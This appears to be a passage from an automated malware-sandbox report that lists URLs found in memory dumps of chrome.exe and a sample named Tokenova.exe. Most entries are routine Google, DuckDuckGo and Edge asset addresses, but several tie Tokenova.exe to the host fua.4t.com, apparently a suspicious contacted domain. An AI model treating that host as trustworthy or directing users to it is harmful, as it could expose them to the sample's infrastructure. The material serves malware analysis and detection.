Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427430302.0000134400390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview2K
Source: chrome.exe, 00000003.00000002.2432025171.0000134401088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/dogl
Source: chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default83a
Source: chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultlt
Source: chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_defaultult
Source: chrome.exe, 00000003.00000002.2432025171.0000134401088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/njb
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428742796.00001344007A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428742796.00001344007A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428742796.00001344007A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/
Source: chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428775072.00001344007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp7
Source: chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000003.00000002.2427902992.0000134400584000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431735931.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2385411219.0000134400F6E000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2432408633.0000134401190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default2
Source: chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default3
Source: chrome.exe, 00000003.00000002.2432408633.0000134401190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_defaultd_D
Source: chrome.exe, 00000003.00000002.2426514606.00001344001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/ogl
Source: chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430954812.0000134400D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000003.00000002.2431512024.0000134400E70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000003.00000002.2430954812.0000134400D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/A
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000003.00000002.2429833205.0000134400A50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default2
Source: chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/ogl
Source: chrome.exe, 00000003.00000002.2428686241.0000134400760000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431034314.0000134400D54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427810039.0000134400508000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.c
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000003.00000002.2427092858.00001344002FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.go
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000003.00000003.2359526888.0000134400420000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000003.00000003.2345525888.0000134400490000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.8.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000003.00000002.2431577687.0000134400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2432025171.0000134401088000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000003.00000002.2432025171.0000134401088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ation.Result
Source: chrome.exe, 00000003.00000002.2432025171.0000134401088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2d
Source: chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000003.00000002.2430408081.0000134400BE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2427724772.00001344004CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2431979612.000013440106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2428615070.0000134400758000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2429773152.0000134400A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000003.00000002.2430294325.0000134400BB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000003.00000002.2430294325.0000134400BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2732391867.0000000004EDD000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430221162.0000134400B4C000.00000004.00000800.00020000.00000000.sdmp, ct00zu.0.dr, f3oppz.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2732391867.0000000004EDD000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp, ct00zu.0.dr, f3oppz.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000003.00000002.2430381237.0000134400BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: Tokenova.exe, 00000000.00000002.2731739439.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2468642568.0000000004C0B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2732391867.0000000004EDD000.00000004.00000020.00020000.00000000.sdmp, ct00zu.0.dr, f3oppz.0.dr, Web Data.8.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: 094348f1-a704-40e4-ac29-0c0ce20af95c.tmp.8.dr, HubApps Icons.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 000003.log0.8.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: Tokenova.exe, 00000000.00000003.2249003692.000000000191B000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2730139698.00000000018B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.com
Source: Tokenova.exe, 00000000.00000003.2263687886.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303794027.000000000194C000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2290501871.000000000194C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.com/
Source: Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.com//
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.com/4
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.com/D
Source: Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.com/L
Source: Tokenova.exe, 00000000.00000003.2263687886.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.com/p
Source: Tokenova.exe, 00000000.00000003.2263687886.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303794027.000000000194C000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2290501871.000000000194C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.com/xp
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.comT
Source: Tokenova.exe, 00000000.00000002.2730139698.0000000001926000.00000004.00000020.00020000.00000000.sdmp, Tokenova.exe, 00000000.00000003.2303749879.0000000001926000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fua.4t.comx
Source: chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000003.00000003.2386275131.0000134401680000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2387891470.00006ACC00974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2341889901.00006ACC0071C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/B
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/I
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/O
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Q
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/S
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/T
Source: chrome.exe, 00000003.00000003.2389500610.00001344017A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389252155.0000134401794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389407002.00001344017A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389379318.000013440179C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389187871.0000134401790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2389321794.0000134401798000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/V
